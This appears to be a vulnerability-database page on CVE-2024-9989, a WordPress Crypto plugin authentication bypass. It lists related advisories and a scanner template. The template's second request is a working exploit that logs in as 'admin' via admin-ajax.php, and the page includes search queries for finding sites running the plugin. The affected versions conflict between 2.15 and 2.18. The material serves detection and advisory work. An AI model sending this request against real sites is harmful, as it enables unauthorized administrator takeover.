| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2024-9989 | 29 Oct 202418:57 | – | circl | |
| WordPress plugin Crypto 安全漏洞 | 29 Oct 202400:00 | – | cnnvd | |
| CVE-2024-9989 | 29 Oct 202416:31 | – | cve | |
| CVE-2024-9989 Crypto <= 2.18 - Authentication Bypass via log_in | 29 Oct 202416:31 | – | cvelist | |
| CVE-2024-9989 | 29 Oct 202417:15 | – | nvd | |
| CVE-2024-9989 | 29 Oct 202417:15 | – | osv | |
| WordPress Crypto Plugin <= 2.18 is vulnerable to Broken Authentication | 29 Oct 202400:00 | – | patchstack | |
| WordPress Crypto plugin <= 2.18 - Authentication Bypass via log_in vulnerability | 29 Oct 202420:35 | – | patchstack | |
| PT-2024-39986 | 29 Oct 202400:00 | – | ptsecurity | |
| CVE-2024-9989 | 5 Feb 202504:41 | – | redhatcve |
id: CVE-2024-9989
info:
name: Crypto <= 2.15 - Authentication Bypass
author: s4e-io
severity: critical
description: |
The Crypto plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.15. This is due a to limited arbitrary method call to 'crypto_connect_ajax_process::log_in' function in the 'crypto_connect_ajax_process' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.
impact: |
Unauthenticated attackers can bypass authentication to log in as any existing user including administrators if they know the username, gaining complete control of the WordPress site and all its data.
remediation: |
Update Crypto plugin to a version later than 2.15 that properly restricts and validates method calls in the crypto_connect_ajax_process function.
reference:
- https://github.com/wy876/POC/blob/main/WordPress/WordPress%E6%8F%92%E4%BB%B6Crypto%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0(CVE-2024-9989).md
- https://mp.weixin.qq.com/s/hC8A1DeS-LWGpNIFKeiMBQ
- https://www.wordfence.com/threat-intel/vulnerabilities/id/e21bd924-1d96-4371-972a-5c99d67261cc?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-9989
- https://github.com/advisories/GHSA-hmfh-w3mx-w6j4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-9989
cwe-id: CWE-288
epss-score: 0.07217
epss-percentile: 0.93535
cpe: cpe:2.3:a:odude:crypto_tool:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: odude
product: crypto_tool
framework: wordpress
shodan-query: http.html:"wp-content/plugins/crypto"
fofa-query: body="wp-content/plugins/crypto"
tags: cve,cve2024,wordpress,wp,wp-plugin,crypto,auth-bypass,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/crypto")'
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=crypto_connect_ajax_process&method_name=register¶m1=admin HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: set_cookie
words:
- "wordpress_sec_"
- "wordpress_logged_in_"
condition: or
- type: word
part: body
words:
- "error"
- "false"
- "success"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100ea5a1a7bae9bde175424f066adff22feee72932ac47d230fd4692a2b51b51c01022100f495cfa139828f54be4c1becd8cb4246eac91794a60cf7e1702100a7e13ef7ed:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation